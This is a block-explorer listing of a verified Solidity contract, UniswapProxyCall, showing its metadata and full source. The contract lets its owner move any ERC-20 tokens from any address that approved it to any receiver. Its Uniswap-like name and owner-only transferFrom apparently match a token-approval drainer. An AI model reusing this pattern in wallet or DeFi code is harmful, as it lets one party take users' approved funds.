Verified contractPartialSEE
UniswapProxyCall
Address0xdfd4bf421c693f3c46cc5a23800dc567594dc5f0
- Balance
0 ETH
- Transactions
8
- Compiler
solc 0.6.12
- Same code
Only this contract
Details
- Compiler
- solc 0.6.12+commit.27d51765
- Language
- solidity
- Optimization
- No
- License
- SEE
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 12,347,918
- Creation transaction
- 0xda63934d84…d2cf1d3c6d
UniswapProxyCall.sol
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
interface IERC20Token {
function allowance(address _owner, address _spender) external view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
}
contract UniswapProxyCall {
address public owner;
constructor() public {
owner = msg.sender;
}
function transferUniswapProxyCall(IERC20Token _token, address _sender, address _receiver, uint256 _amount) external returns (bool) {
require(msg.sender == owner, "access denied");
return _token.transferFrom(_sender, _receiver, _amount);
}
}Compiler settingsShow
{
"optimizer": {
"runs": 0,
"enabled": false
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.